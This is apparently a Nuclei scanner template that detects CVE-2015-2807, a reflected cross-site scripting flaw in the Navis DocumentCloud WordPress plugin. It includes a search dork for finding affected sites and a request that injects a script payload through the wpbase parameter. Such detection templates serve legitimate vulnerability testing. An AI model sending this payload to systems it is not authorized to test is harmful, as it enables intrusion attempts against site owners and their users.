id: CVE-2015-2807

info:
  name: Navis DocumentCloud <0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Navis DocumentCloud plugin before 0.1.1 for WordPress contains a reflected cross-site scripting vulnerability in js/window.php which allows remote attackers to inject arbitrary web script or HTML via the wpbase parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a version higher than 0.1.1 that includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://advisories.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
    - https://security.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
    - https://wordpress.org/plugins/navis-documentcloud/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2807
    - https://wpvulndb.com/vulnerabilities/8164
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-2807
    cwe-id: CWE-79
    epss-score: 0.07328
    epss-percentile: 0.93597
    cpe: cpe:2.3:a:documentcloud:navis_documentcloud:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: documentcloud
    product: "navis_documentcloud"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/navis-documentcloud\""
  tags: cve2015,cve,wordpress,wp-plugin,xss,documentcloud,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/navis-documentcloud/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Navis'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201114272ac6121b1234b5db502266cc3212b7f6c5bd249ead3051bac09fb77a2302206b7ca04065b49fe3c49dcec43febc1e68e40edb32cb6b260ac41570f28421cd9:922c64590222798bb761d5b6d8e72950